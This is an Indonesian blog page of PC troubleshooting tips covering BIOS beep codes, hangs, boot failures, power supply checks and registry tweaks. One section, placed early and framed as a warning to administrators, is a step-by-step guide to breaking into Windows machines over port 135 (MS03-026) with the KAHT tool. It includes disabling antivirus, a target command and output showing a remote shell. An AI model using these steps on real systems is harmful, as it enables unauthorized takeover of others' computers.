tidak semua Motherboard menandakan kesalahan<br />yang sama tergantung dari jenis BIOS nya.<br />AMI BIOS<br />Beep 1x :<br />RAM/Memory tidak terpasang dengan Baik atau Rusak, Beep 6x : Kesalahan Gate A20 - Menunjukan<br />Keyboard yang rusak atau IC Gate A20-nya sendiri, Beep 8x : Grapihic Card / VGA Card tidak terpasang<br />dengan baik atau Rusak, Beep 11x : Checksum Error, periksa Batre Bios, dan ganti dengan yang baru.<br />AWARD BIOS<br />Beep 1x Panjang :<br />RAM/Memory tidak terpasang dengan Baik atau Rusak, Beep 1x Panjang 2x Pendek : Kerusakan Pada<br />Graphic Card (VGA), Periksa bisa juga Pemasangan pada slotnya tidak pas (kurang masuk), Beep 1x<br />Panjang 3x Pendek : Keyboard rusak atau tidak terpasang. Beep Tidak terputus / bunyi terus menerus :<br />- 38 -<br />RAM atau Graphic Card tidak terdeteksi.<br />Pheonix BIOS<br />1. 1 BEEP, 1 BEEP dan 4 BEEP<br />Disebabkan BIOS anda tidak berfungsi. Boleh update atau flash BIOS.<br />2. 1 BEEP, 2 BEEP dan 1 BEEP<br />Disebabkan motherboard anda yang sudah rosak.<br />3. 1 BEEP, 3 BEEP dan 1 BEEP<br />RAM anda mungkin bermasalah atau tidak dipasang dengan betul.<br />4. 3 BEEP, 1 BEEP dan 1 BEEP<br />Adalah disebabkan masalah motherboard computer anda.<br />5. 3 BEEP, 3 BEEP dan 4 BEEP<br />VGA kad atau graphic anda bermasalah atau tidak dipasang dengan betul.<br />Batrey CMOS Rusak / Lemah<br />Gejala<br />Muncul Pesan CMOS Checksum Vailure / Batrey Low, diakibatkan tegangna yang men-supply IC<br />CMOS/BIOS tidak normal dikarenakan batrey lemah, sehingga settingan BIOS kembali ke<br />Default-nya/setingan standar pabrik, dan konfigurasi Hardware harus di Set ulang.<br />Solusi<br />Segera Ganti Batreynya<br />MASALAH SYSTEM CPU<br />Gejala : CPU yang sering Hang???<br />Solusi :<br />Ada beberapa faktor terjadi hanging diantaranya : Ada BadSector di Harddisk, Ada Virus, Ada masalah di<br />- 39 -<br />Hardware seperti Memory Kotor/Rusak, MBoard Kotor/Rusak, Cooling Fan perputaran fan nya sudah<br />lemah, Power Supply tidak stabil…..sebaiknya jangan dipaksakan untuk digunakan karena akan berakibat<br />lebih fatal, silahkan hub: kami untuk dapat mengatasi masalah tersebut<br />Gejala<br />Komputer sering tampil blue screen apa penyebabnya?<br />Solusi<br />Pesan Blue Screen bisa disebabkan system windows ada yang rusak, Bisa dari Memory, Bisa dari hardisk,<br />bisa dari komponen lainnya, tergantung pesan blue screen yang ditampilkan.<br />Gejala<br />Komputer jadi lebih lambat dari sebelumnya, padahal awalnya tidak begitu lambat<br />Solusi<br />Penyebab komputer anda prosesnya lambat ada beberapa faktor yaitu : Space hardisk terlalu penuh, terlalu<br />banyak program / software yang memakan space harddisk dan memory, ada virus ,harddisk badsector.<br />Cara membobol Password Windows yang terkoneksi Internet<br />Artikel ini bukan bertujuan untuk mengajari pembaca untuk berbuat jahat dengan cara membobol<br />password komputer orang lain, tapi hanya sekedar mengingatkan kepada anda terutama bagi<br />administrator jaringan atau pengguna komputer yang terkoneksi ke jaringan agar berhati-hati dan<br />selalu waspada bahwa password /komputer anda mudah di bobol dan diambil alih oleh orang lain.<br />kali ini penulis menggunakan metode explosits port 135 (DCOMRPC) dimana semenjak adanya issue<br />virus W32 Welcia K yang menyerang port 135, yang dalam hal ini diakui oleh pihak microsoft (Baca<br />Microsoft Security Bulletin MS03-026). target dari worm ini adalah pc yang menggunakan IIS 5.0<br />seperti windows 2000 /XP.<br />Untuk mempersingkat bagaimana caranya kita membobol password di windows kita menggunakan<br />Tools Kaht bisa anda download disini.<br />Karena proses ini menggunakan worm sebaiknya anda mendisable antivirus anda.<br />Langkahnya:<br />1. Unzip file Kaht.zip<br />2. Letakkan pada direktori yang anda suka.<br />3. Masuk ke direktori tempat file berada melalui text mode<br />- 40 -<br />4. Tentukan sasaran pc yang akan di hacking missal<br />IP : 192.168.30.3<br />Kaht 192.168.30.1 192.168.30.3<br />Jika hacking anda berhasil akan tampil pada command line kira-kira sbb:<br />--------------------------------------------------------------------------------<br />KAHT II - MASSIVE RPC EXPLOIT dst<br />--------------------------------------------------------------------------------<br />[+] Target: 192.168.30.1-192.168.30.3 with 50 Treads<br />[+] Attacking Port:135. Remote Shell at port:36388<br />[+] Scan In Progress......<br />- Connecting to 192.168.30.3<br />Sending Exploit to a [Win2k] Server<br />- Connectando con la Shell Remote<br />dst........<br />C:WINNTsystem32><br />Berarti anda sudah masuk ke komputer yang anda hack dan komputer sepenuhnya sudah anda<br />kuasai. anda bisa membuat user admin membuat sharing dll<br />Sekali lagi artikel ini sekedar mengingatkan kepada anda berhatihatilah dalam mengelola komputer<br />anda terutama Administator jaringan<br />sumber : <a href="http://www.google.com">www.google.com</a>blog cendana comunityhttp://www.blogger.com/profile/08229217619025735389noreply@blogger.com0tag:blogger.com,1999:blog-8425775013310331176.post-6952113010024439002010-04-22T18:56:00.000-07:002010-04-22T18:58:15.637-07:00<span style="font-weight: bold;">MENDIAGNOSA PERMASALAHAN & KERUSAKAN PADA KOMPUTER ( TIPS & TRIK ) </span><br /><span style="font-weight: bold;">Tips Mendeteksi Masalah Pada PC</span><br />Apakah anda pengguna komputer (PC) dan pernah mengalami kejadian berikut ini:<br />Ø suatu ketika PC anda susah dinyalakan.<br />Ø Perlu berulang kali menekan tombol power untuk menyalakan PC<br />Ø Proses boot perlu berulang kali untuk masuk ke Windows.<br />Ø Setelah standby, PC restart dengan sendirinya dan harus dimati-nyalakan lagi.<br />Berikut ini adalah tips yang mungkin sudah banyak diketahui oleh para pengguna PC untuk mendeteksi<br />apabila memiliki atau menemukan masalah seperti di atas.<br />1. Lakukan boot dengan live CD salah satu distro Linux, contohnya Knoppix, Small Damn Linux atau<br />sebangsanya. Bila load telah berhasil dan PC dapat bekerja dengan normal, ada kemungkinan<br />terjadi kelainan pada harddisk atau sistem operasi yang ada di dalam harddisk tersebut yang<br />menghalangi proses booting diselesaikan dengan sempurna.<br />2. Periksa power supply PC anda. Periksa dan ukur tegangan DC yang menyuplai ke motherboard<br />menggunakan alat ukur avometer. Misalnya tegangan +12 Vdan 5V hanya terukur (misal) 10,5V<br />dan 4,2V. Maka segera ganti power supply PC anda dengan yang baru untuk menghindari<br />kerusakan yang lebih parah pada keseluruhan sistem Komputer. Apabila anda memiliki PC lain (di<br />dekat anda), anda dapat menggunakannya untuk meyakinkan power supply anda masih bekerja<br />dengan normal atau tidak.<br />3. Periksa memory (RAM)nya. Bila anda menggunakan 2 atau lebih keping RAM yang berbeda jenis<br />baik merk maupun chipsetnya, terkandang akan mengalami masalah kompatibilitas seperti ini setelah<br />digunakan dalam jangka waktu tertentu. Apalagi bila power supply dan pasokan daya listrik yang<br />tidak stabil dikonsumsi oleh sistem. Untuk masalah ini coba bersihkan plat koneksi pada keping<br />RAM tersebut beserta slot yang ada pada motherboard.<br />4. Bila langkah di atas tetap memberikan hasil yang tidak memuaskan atau masalah tetap berulang,<br />maka kemungkinan besar motherboard PC anda sudah bermasalah.<br />Komputer (PC) yang sudah terkena vonis bermasalah pada motherboard memiliki kemungkinan sangat tipis<br />untuk diselamatkan, tentu saja jalan satu-satunya mengganti motherboard yang bermasalah tersebut. Atau<br />lebih jauh lagi anda mengganti PC anda dengan yang baru. Namun apakah anda mau mengalami hal yang<br />sama dengan motherboard atau PC baru anda? Tentu tidak. Sebuah langkah proteksi yang harus kita<br />lakukan selain mengoperasikan komputer sesuai dengan prosedur ON/OFF yang telah ditentukan adalah<br />proteksi terhadap tegangan supply. Langkahnya adalah:<br />1. Gunakan Power supply yang memiliki daya yang cukup terhadap konsumsi daya yang dibutuhkan<br />- 2 -<br />seluruh sistem.<br />2. Lindungi power supply dengan stavolt yang telah dilengkapi dengan AVR (Automatic Voltage<br />Regulator) yang baik, sehingga pasokan tegangan AC ke power supply tetap terjaga stabil.<br />3. UPS (Uninterruptible Power Supply) yang telah dilengkapi dengan AVR, merupakan langkah<br />proteksi tegangan yang paling maksimal yang bisa anda lakukan. Selain sebagai penstabil tegangan,<br />juga dapat berfungsi sebagai back up tegangan.<br />Menangani Program yang Hang.<br />Aplikasi anda berjalan tdk normal, tiba-tiba berhenti bekerja & tdk merespon. Sebelum me-resetsistem,<br />sebaiknya anda lakukan langkah berikut:<br />Ø Klik kanan pada area yang kosong di Taskbar, pilih Task Manager dari Menu yang muncul. Atau<br />jika anda tidak bisa mendapatkan menu Task Manager, cukup tekan saja Ctrl+Alt+Delete. Pilih<br />Bagian "Application" dalam Tab Task Manager.Pilihlah program dgn Status Not Responding.<br />Cobalah klik tombol (SwitchTo) untuk mengakses aplikasi. Jika masih belum bekerja, maka klik<br />tombol (End Task) untuk mengakhiri aplikasitsb. Jika hal ini tetap tdk bekerja, klik kanan pada<br />program yang tdk responding, pilih menu (GoTo Process)Klik kanan pada File exe dari aplikasi<br />hang tsb, pilih menu (End Process Tree)<br />Ketika muncul kotak dialog Task Manager Warning, tekan saja tombol Yes untuk mengakhiri<br />Program hang ini dan komputer anda kembali normal.<br />Ø Hapus Tombol [Turn Off Computer] di Welcome Screen<br />1. Klik [Start] > [Run...] kemudian ketik regedit32.exe<br />2. Masuklah ke Sub key<br />HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system.<br />3. Carilah DWORD value yang bernama Shutdownwithoutlogon di bagian kanan Jendela kemudian<br />klik dua kali entry tersebut.<br />4. Ubahlah value datanya yang sebelumnya bernilai 1 menjadi 0.<br />5. Tutup Registry Editor, kemudian Restart Windows Anda.<br />- 3 -<br />Cegah Uninstal Program Via Add/Remove Program<br />Add/Remove Programs berfungsi untuk menginstal, uninstall, dan memperbaiki program. Untuk memproteksi<br />agar orang lain tidak bisa mengotak-atik Uninstall maka anda dapat melakukanlangkahberikut:<br />1. Klik [Start] > [Run], ketik regedit.exe<br />2. Masuk ke<br />HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstal<br />3. Temukan key dimana terdapat nama program yang ingin anda atur pilihannya ini. Key-key tsb dapat<br />berupa CLSID ataupun namanya langsung. Nama program ini dpt anda lihat pada data Display<br />Name yang ada pada masing-masing key.<br />4. Setelah anda temukan key yang anda cari, buatlah data DWORD bernama NoRemove.<br />5. Klik ganda data tsb kemudian isikan nilainya dengan angka 1.<br />Coba jalankan Add/Remove program, sorot program yang anda set tadi, pilihan Remove sdh hilang.<br />anda juga dapat menyembunyikan pilihan [Repair] dan [Change]. Langkahnya sama, hanya nama<br />datanya yang berbeda. Untuk Repair, gunakan nama NoRepair, sedangkan untuk Change gunakan<br />nama NoModify. Untuk mengembalikan ke semula, anda cukup mengganti nilainya menjadi 0 atau<br />menghapus data tsb.<br />Sering Terjadi Hang<br />Penyebab :<br />1. Memori tdk cocok<br />2. Ada virus di Harddisk<br />3. Over Clock<br />4. Ada Bad Sector di Harddisk<br />Solusi :<br />Ø Ganti memori<br />- 4 -<br />Ø Scan Harddisk/jika ada virus segera dikarangtina/di delete file yang terkena virusnya, jika<br />masih Hang segera Format Ulang(back up dulu data-nya)<br />Ø Setting kembali clock prosesor<br />Ø Partisi harddisk dgn benar.<br />CMOS Failure<br />Penyebab :<br />1.Baterai habis<br />2. Setting Bios berubah<br />Solusi :<br />Ø Ganti baterai CMOS<br />Ø Seting ulang Bios dgn benar<br />Pembacaan Data menjadi lambat<br />Penyebab :<br />1. Memori tdk cukup/Full<br />2. Harddisk penuh atau ada virus<br />Solusi :<br />Ø Tambah memori<br />Ø kurangi isi harddisk, scan virus, atau ganti hard disk dgn kapasitas yg lebih besar<br />Tidak Bisa Booting<br />- 5 -<br />Penyebab :<br />1. Cache memori rusak<br />2. Memori tdk cocok<br />3. Boot sector pada Harddisk rusak<br />4. Ada Bad Sector pada Trek awal Harddisk<br />Solusi :<br />Ø Disable eksternal cache memori di BIOS<br />Ø Ganti memori<br />Ø Masukkan operating system baru<br />Ø Partisi Harddisk.<br />Suara bip panjang & berkali-kali<br />Penyebab :<br />1.Memori rusak, Memori tdk cocok,<br />2. Memori tdk masuk slot dgn sempurna<br />Solusi :<br />Periksa kedudukan memori(pasang ulang kembali, bersihkan dulu jika banyak korotan yang<br />menempel)/Ganti memori jika tdk bisa diperbaiki lagi.<br />Suara Bip bagus tetapi tidak ada tampilan dilayar/Bip dua kali<br />Penyebab :<br />VGA Card rusak, Slot VGA tdk terpasang sempurna<br />- 6 -<br />Solusi :<br />Periksa dan betulkan kembali kedudukan VGA, Jika belum berhasil ganti<br />dengan VGA yang baru<br />I/O disk Error<br />Penyebab :<br />Sistem di hard disk rusak<br />Solusi :<br />Perbaiki Hard disk (Saran: jika biaya perbaikan adalah 50% dari harga baru, sebaiknya<br />anda mengganti saja dengan hard disk yang baru, karena kemungkinan rusak lagi lebih besar<br />dan biaya perbaikan kembali akan lebih mahal daripada membeli yang baru)<br />Floppy Disk Failure<br />Penyebab :<br />1. I/O rusak<br />2. Floppy rusak<br />3. kabel floppy terputus<br />4. Tegangan power supply tidak cukup<br />Solusi :<br />Ø Ganti I/O<br />Ø Periksa floppy<br />Ø periksa kabel Floppy<br />Ø Periksa tegangan power supply ke floppy<br />Motherboard me-reset sendiri atau tidak bisa Booting<br />- 7 -<br />Penyebab :<br />1. Power supply tidak normal<br />2. Motherboard kotor (berdebu)<br />Solusi :<br />Ø Ganti power suply (dgn daya yang lebih besar jika dicurigai dayanya kurang)<br />Ø Bersihkan Motherboard (hati-hati, sebaiknya anda mempelajari dahulu cara pembersihan<br />yang baik)<br />Kapasitas Harddisk tidak Normal<br />Penyebab :<br />Setting Jumper I/O tidak benar<br />Solusi :<br />Periksa & Perbaiki kembali setting jumper I/O Harddisk<br />On Board tidak Jalan<br />Penyebab :<br />1. On Board rusak<br />2. Setting On Board tidak benar<br />Solusi :<br />Ø Ganti dengan card<br />Ø Periksa setting On Board<br />- 8 -<br />Tampilan di Layar ada huruf yang berkedip-kedip atau muncul garis<br />Penyebab :<br />VGA Rusak/kedudukan tidak benar/terjadi konflik<br />Solusi :<br />periksa kedudukan VGA, jika belum benar segera ganti dengan yang baru<br />Mouse tidak Berfungsi<br />Penyebab :<br />1. Mouse kotor/rusak<br />2. On Board mouse rusak<br />3. Driver mouse tidak cocok<br />4. Mouse tidak terdeteksi<br />5. Kabel Mouse tidak sesuai<br />Solusi :<br />Ø Bersihkan mouse/ganti baru<br />Ø Ganti dengan card<br />Ø Periksa kembali driver mouse<br />Ø Setting ulang driver<br />Ø Cocokkan kabel mouse untuk On Board dan card<br />Motherboard Blank (tidak ada sama sekali reaksi)<br />- 9 -<br />Penyebab :<br />1. BIOS rusak<br />2. Prosesor terbakar<br />3. regulator jebol<br />4. Chipset rusak<br />5. IC reset & Clock rusak<br />6. Setting jumpers over clock<br />7. Memori rusak<br />8. PS padam<br />9. Socket PS longgar<br />Solusi :<br />Ø Upgrade BIOS dengan tipe yang sama, 2 s/d 5. Ganti dengan yang baru ,6. Setting ulang<br />jumper clocknya ,7. Ganti memori 8. Periksa PS, 9. Periksa Slot/socket PS<br />Kerusakan-kerusakan lain pada Motherboard<br />1. Keyboard error atau tidak terdeteksi<br />Jika sering error, kemungkinan besar IC keyboarnya rusak, harus diganti baru. Jika<br />keyboard tidak terdeteksi, kemungkinan besar terminal keyboardnya renggang atau tidak<br />tersambung sempurna. Periksa juga solderan yang ada dibawah konektor keyboard. Jika<br />ada yang kendor tambahkan sedikit timah solder. Terakhir periksa skring (fuse) keyboard<br />yang ada di Motherboard. Biasanya mempunyai kode F1 atau kadang-kadang ada juga yang<br />mengunakan lilitan (L1). Jika skring pustus dan tidak ada penggantinya, kita bisa<br />menjumper-nya<br />2. Unit input/output (I/O) Rusak<br />Input/Output terdiri dari beberapa bagian, diantaranya :<br />- 10 -<br />- Hdc (harddisk controller). kerusakan pada bagian ini menyebabkan harddisk tidak<br />terdeteksi oleh BIOS dan otomatis tidak bisa menjalankan operating system.<br />- Fdc (floppy disk controller). Kerusakan pada bagian ini mengakibatan floppy disk tidak<br />bisa bekerja meskipun FDD yang kita pakai masih baik.<br />- LPT port (printer port/parallel port). Printer tidak akan bekerja jika port ini rusak.<br />- Serial Port (COM1, COM2). Port ini biasanya digunakan oleh mouse, keyboard, modem<br />eksternal. Jika rusak maka port ini tidak akan bekerja.<br />Solusi masalah :<br />Untuk mengatasi kerusakam pada unit ini, kita bisa mengganti IC I/O-nya. Namun sebaiknya<br />cara ini dilakukan oleh tenaga ahli. Cara lain untuk mengatasi hal ini : dengan menambahkan<br />card super I/O. Kita tinggal menancapkannya pada slot ekspansi dan kemudian setting<br />BIOS-nya. Fungsi I/O pada motherboard harus di-disable. Artinya, I/O akan otomatis<br />berpindah dari internal motherboard ke super card I/O yang telah kita pasang.<br />3. Cache Memori (L2 Cache) Rusak<br />Pada generasi Pentium I, cache memori eksternal ada di Motherboard. Generasi PentiumII<br />ke atas, cache memori eksternalnya disertakan di Prosesor. Jika bagian ini rusak, komputer<br />akan sering Hang atau bisa juga tidak bisa Booting, meskipun muncul tampilan di Monitor.<br />Cara mengatasi kerusakan cache memori yang melekat pada motherboard adalah dengan<br />menggantinya dengan IC yang sama. hal ini sebaiknya dilakukan dengan teknisi yang ahli.<br />Kita juga bisa melakukan cara lain yaitu dengan menambah memori (RAM) menjadi 2 kali<br />lipat (misal yang tadinta 128 MB menjadi 256 MB). Selanjutnya, setting BIOS-nya dengan<br />cara men-disable bagian external cache memori. Simpan dan Booting ulang komputer. Cara<br />ini juga bisa dilakukan pada komputer yang cache memori-nya melekat pada prosesor.<br />Windows Kagak Bisa Shutdown<br />Problem ini umumnya karena registry Fast Shutdown dalam kondisi aktif. Bila ini terjadi, cobalah<br />untuk menonaktifkannya. Restart komputer dengan menekan tombol [Ctrl] + [Alt] + [Del] secara bersamaan<br />atau tombol [Reset] pada CPU (Central Processing Unit). Setelah kembali dalam sistem Windows, klik<br />[Start] [Run]. Ketik “msconfig” (tanpa tanda kutip) pada boks yang muncul. Setelah itu, boks dialog System<br />Configuration Utilities akan terbuka.Pada tab [General], klik [Advanced...]. Centangilah opsi [Disable fast<br />shutdown]. Tutup semua aplikasi itu dan cobalah untuk men-shutdown-nya dengan normal, yaitu dengan<br />mengeklik [Start] dan pilih [Shutdown...]. Klik [Shut down] dan [OK] pada boks konfirmasi. Kini mestinya<br />- 11 -<br />Windows dapat shutdown dengan baik.Jika problem belum teratasi, kunjungilah link<br />support.microsoft.com/default .aspx?scid=KB;en-us;q238096 dengan browser internet Anda. Link tersebut<br />berisi keterangan mengenai kemungkinan sebab lain dari kegagalan Windows<br />Start-up Sistem Melambat<br />Terlalu banyaknya program yang di-upload saat start-up dapat membuat boros memori. Untuk<br />menyelesaikannya, matikan seluruh aplikasi, kemudian munculkan boks dialog System Configuration Utilities<br />seperti cara di atas.<br />Klik tab [Startup]. Di dalamnya terdapat daftar program-program yang berjalan sejak Windows dimulai.<br />Jika tanda centangnya cukup banyak, maka kurangilah dan biarkan hanya terdapat pada program yang Anda<br />anggap perlu saja.<br />Misalnya, hilangkan saja tanda centang dari program-program seperti e-mail client, messenger, Microsoft<br />Office Start-up, dan aplikasi lainnya yang sebetulnya dapat dibuka kapan saja. Klik [Apply] dan [OK] untuk<br />mengaktifkannya. Dan klik [Yes] pada konfirmasi untuk me-restart sistem Anda.Kontrol daftar startup<br />program ini secara rutin, agar pemakaian memori sistem Anda terjaga<br />Sistem Komputer Hang<br />Fenomenanya bagi kita beragam. Program tidak dapat berjalan, mouse tak dapat digerakkan, kibor<br />tak berfungsi, sampai munculnya blue screen.Langkah pertama untuk menyelesaikannya, cobalah untuk<br />menekan kombinasi tombol [Ctrl] + [Alt] + [Del] secara bersamaan. Bila boks Close Program muncul, maka<br />hentikan salah satu program yang berketerangan “Not Responding”. Atau hentikan juga program lain yang<br />tidak perlu. Caranya, klik nama program tersebut dan klik [End Task].<br />Jika sistem masih hang. Daftarlah nama-nama program yang berjalan tadi. Dan Restart sistem melalui tombol<br />[Restart] di CPU. Setelah sistem Windows berjalan lagi, buka satu per satu program tadi untuk mengecek<br />konflik tersebut terjadi saat Anda menggunakan aplikasi yang mana. Jika ketahuan, catat nama program<br />tersebut dan konsultasilah ke vendornya. Bila program penyebab konflik itu tidak terlalu Anda butuhkan,<br />sebaiknya uninstall saja dari sistem.<br />Safe Mode<br />Jika saat booting tiba-tiba Windows merekomendasikan Anda untuk menggunakan safe mode,<br />berarti ada yang tidak beres dalam sistem Anda. Hilangnya file sistem, driver dan file penting lainnya dari<br />Windows dapat memaksa Windows tampil dalam safe mode. Kerusakan dalam bagian hard disk juga dapat<br />- 12 -<br />memicunya.Untuk memeriksanya, masuk saja ke safe mode dan scandisk dulu hard disk Anda. Klik [Start]<br />[Programs] [Accessories] [System Tools] lantas [ScanDisk]. Jika hasilnya tak ada masalah, maka<br />kemungkinan kerusakannya ada pada file sistem. Restart, dan kali ini paksakan untuk menggunakan normal<br />mode. Lihat, biasanya Windows akan mengeluarkan pernyataan-pernyataan error. Kalau bisa catat<br />error-nya dan konsultasikan pada Microsoft. Atau jalan singkatnya, Anda bisa menginstal ulang sistem<br />Windows. Sebelumnya tentu Anda harus mem-back up semua data penting Anda ke drive atau hard disk<br />lain.<br />Defrag Macet<br />Kondisi ini bisa saja terjadi bila Anda juga menjalankan program lainnya saat defrag berlangsung.<br />Mungkin Anda merasa sudah menutup semua program, tapi sistem komputer masih mencatat kegiatan<br />beberapa program.<br />Untuk mengetahuinya, tekanlah kombinasi tombol [Ctrl] + [Alt] + [Del] secara bersamaan. Begitu boks<br />Close Program muncul, periksa program apa sajakah yang tengah berjalan saat ini.Selain Explorer dan<br />Systray, hentikan semua program lainnya dengan mengekliknya dari daftar dan klik [End Task]. Lalu,<br />mulailah lagi untuk men-defrag.Bila masih bermasalah, cobalah untuk memunculkan boks dialog System<br />Configuration Utility. Klik [Start] lalu [Run]. Ketikkan “msconfig” (tanpa tanda kutip) dan tekan [Enter].<br />Pada tab [General], tepatnya perhatikan pada opsi-opsi di bawah [Selective Startup]. Hilangkan semua<br />tanda centang pada opsi-opsi itu. Tapi biarkan opsi [Selective Startup] tetap tercentang.Restart komputer<br />Anda dan kembali jalankan defrag. Jika kondisi belum pulih, maka kemungkinan sebab lainnya adalah<br />kerusakan di hard disk Anda. Jalankan Scan disk. Bila semuanya oke-oke saja, mudah-mudahan kini defrag<br />dapat berjalan baik.Kecuali jika semua langkah itu belum menyelesaikan masalah, maka berkonsultasilah ke<br />teknisi komputer langganan Anda.<br />PC tak Mau Hidup<br />Bila ini terjadi, pastikan Anda telah menekan tombol power pada CPU (central processing unit)<br />dengan benar. Cek juga bahwa kabel power telah tersambung dengan baik dari power outlet-nya ke PC.<br />Tancapkan kabel-kabelnya sekali lagi.<br />Pengguna yang memakai stabilizer perlu melihat apakah stabilizer-nya memang berfungsi baik saat<br />dihidupkan. Pastikan juga power outlet-nya tidak bermasalah. Anda bisa mengetesnya dengan<br />menyambungkan peralatan listrik lainnya ke power outlet tersebut. Kalau peralatan tersebut bekerja, berarti<br />power outlet-nya masih bagus.<br />- 13 -<br />Setelah sekian pengecekan tersebut, kalau PC masih tidak mau hidup, masalahnya kemungkinan besar<br />terletak pada kabel power. Gantilah kabel power-nya dengan yang baru. Permasalahannya mungkin terletak<br />pada kotak power supply PC atau malah pada motherboard-nya. Jika kabel telah Anda ganti tapi problem<br />masih terjadi, sebaiknya langsung hubungi tempat servis langganan Anda deh.<br />Sering Restart Sendiri<br />Masalah ini kemungkinan sebabnya adalah gangguan arus listrik, baik pada power outlet-nya,<br />stabilizer, kabel power, power supply maupun motherboard. Kerusakan memori (RAM) juga bisa<br />menyebabkannya.Lakukan langkah-langkah pengecekan seperti pada problem di atas. Tegangan listrik yang<br />tidak stabil juga bisa mempengaruhinya.<br />Plug N’ Pray<br />Windows sebenarnya hadir dengan fasilitas Plug N’ Play, yaitu kemampuan otomatis untuk<br />mendeteksi dan melakukan konfigurasi bila ada penambahan kartu atau perangkat ke dalam sistemnya.<br />Bahasa gampangnya, tinggal colok, langsung jalan.<br />Tapi fasilitas itu sering diplesetkan orang menjadi Plug N’ Pray, gara-gara pada praktiknya kemudahannya<br />tidak seperti yang dijanjikan. Windows gagal mendeteksinya dan perangkat pun tak bias berfungsi. Kalau itu<br />terjadi, cobalah untuk menggunakan fitur Add/Remove Hardware pada Control Panel. Klik [Start] [Settings]<br />[Control Panel]. Kemudian dalam jendela yang tampil, klik dobel [Add/Remove Hardware]. Sebuah wizard<br />akan membantu Anda untuk mendeteksi hardware tersebut.Kalau itu gagal juga, paksa dengan menjalankan<br />file instalasi hardware langsung dari disket atau CD-nya. Mestinya sih langsung beres.Kecuali bila cara itu<br />juga tidak jalan juga, maka kemungkinan setting BIOS Anda perlu diatur agar fitur Plug N Play dari<br />Windows berjalan. Restart-lah PC Anda. Langsung tekan tombol [Del] pada kibor secara terus menerus<br />hingga BIOS muncul. Kalau BIOS Anda dari Award Software, carilah bagian [PnP/PCI Configurations] dan<br />tekan [Enter]. Pada opsi [PNP OS Installed], gantilah nilai “No” dengan “Yes”. Pada jenis BIOS lainnya,<br />walau menu setting-nya berbeda, pada prinsipnya carilah pengaturan yang serupa.<br />Masalah Kernel32<br />Bila program Anda berhenti di tengah jalan dan muncul pesan yang mengandung kata-kata “illegal<br />operation”, “kernel32” dan seterusnya, tak perlu bingung. Kemungkinan besar itu karena program yang<br />Anda jalankan konflik dengan sistem Windows. Cukup tutup pesan tersebut. Uninstall program tersebut,<br />kemudian instal kembali. Biasanya solusi begini cukup manjur mengatasinya, kecuali jika program Anda<br />- 14 -<br />bajakan.<br />PC Hidup tapi tidak Mau Booting<br />Gejalanya, layar monitor tidak mau menampilkan apa-apa dan komputer membunyikan bunyi beep<br />secara berulang-ulang. Matikan PC, matikan stabilizer, cabut semua kabelnya, kemudian buka casing-nya.<br />Bawa PC ke tempat yang terang, atau sediakan senter untuk membantu Anda melihat dengan jelas ke<br />dalamnya.<br />Cek bahwa kartu memori sudah tertancap dengan benar pada slot-nya. Karena ini seringkali menjadi<br />penyebabnya. Buka penguncinya, cabut kartu memorinya, tancapkan kembali dengan benar dan kunci<br />kembali. Pastikan juga kartu memori Anda dalam keadaan baik, tidak cacat dan tidak rusak.<br />Sekaligus saja, pastikan kartu-kartu dan kabel-kabel di dalam PC tersambung dengan baik, dan tidak<br />mengalami cacat atau bahkan putus sambungannya. Prinsipnya, agar komputer berjalan baik, maka semua<br />komponen harus berada dalam posisinya yang benar dan dalam kondisi baik pula.Lihat juga bahwa<br />motherboard Anda tidak tergores. Jalur-jalur tembaganya masih bagus dan tidak terpotong oleh sayatan<br />benda tajam. Kemudian nyalakan kembali PC tersebut. Bila kasusnya masih terjadi, cobalah untuk menukar<br />posisi kartu memori ke slot memori yang lainnya. Cek manual motherboard Anda untuk panduannya. Kalau<br />tidak selesai juga, konsultasikanlah ke teknisi servis komputer.<br />Hard Disk, Keyboard atau Floppy Drive tidak Dikenal<br />Proses booting akan tertahan jika hard disk utama tidak dikenali oleh BIOS. Pesan yang tampil<br />biasanya, “Primary hard disk failed”. Kalau sudah begini, sistem operasi tidak akan jalan. Untuk<br />mengatasinya, restart PC dan segera tekan [Del] terus menerus hingga BIOS muncul. Di BIOS, periksa<br />apakah primary hard disk terdeteksi atau tidak. Dalam beberapa model BIOS, ada fasilitas hard disk<br />auto-detection. Gunakanlah fasilitas itu. Jika hard disk tidak terdeteksi juga, maka matikan PC, cabut semua<br />kabelnya dan bukalah casing-nya.Cek apakah kabel power dan kabel data, yang menyambungkan hard disk<br />dan motherboard, telah terpasang dengan baik dan tidak cacat. Nyalakan kembali, bila kasusnya berulang,<br />maka ada kemungkinan hard disk Anda rusak. Tapi sebaiknya, konsultasikan saja dulu. Beberapa teknisi<br />komputer mengerti cara untuk menyelamatkan data dari hard disk yang telah rusak.<br />Langkah-langkah yang sama bisa Anda gunakan untuk menyelesaikan problem floppy drive yang tidak<br />terdeteksi. Prinsipnya tidak terlalu berbeda, kok.<br />Bila pesan yang muncul adalah “Keyboard error or no keyboard present”, matikan PC dan cek apakah<br />- 15 -<br />kabel kibor telah tertancap ke PC dengan benar. Kalau perlu, cabut dan tancapkan kembali. Jika tidak beres<br />juga, cobalah untuk mengganti kibor Anda.Kalau problem tidak selesai juga, kemungkinan port kibor pada<br />motherboard rusak. Sebelum memutuskan untuk mengganti motherboard, konsultasikanlah dulu dengan<br />tempat servis Anda.<br />Komputer Berisik<br />Sebabnya bisa berasal dari kipas-kipas dalam komputer (kipas prosesor dan kipas pendingin)<br />ataupun hard disk. Matikan PC dan buka casing-nya. Dalam kondisi casing terbuka, nyalakan kembali PC<br />dan teliti dari mana sumber bunyi itu.Apakah ada kabel atau ujung kabel yang menyangkut pada kipas?<br />Adakah benda yang menghambat geraknya? Kalau ya, maka singkirkanlah benda itu atau jauhkanlah kabel<br />tadi dari kipas. Bersihkan kipas di atas prosesor dan kipas pendingin komputer secara rutin untuk<br />menghindarinya. Anda bisa gunakan kuas kecil yang kering untuk itu.<br />Kalau sumber suaranya berasal dari hard disk, periksalah posisinya. Karena mungkin sumber bunyinya dari<br />pergerakan jarum di dalam hard disk yang tidak stabil. Hindari meletakkan hard disk secara miring, karena<br />dapat cepat rusak dan berbunyi.<br />Bila problemnya tidak tuntas, konsultasilah pada teknisi servis komputer.<br />Sering Hang & Panas<br />Matinya kipas pendingin bisa merupakan sebab naiknya temperatur PC, dan akhirnya PC sering<br />mengalami hang. Panas dapat menyebabkan komponen PC cepat rusak. Maka, periksalah kipas-kipas<br />tersebut. Bersihkan kotoran di dalamnya, dan pastikan kabel power untuknya 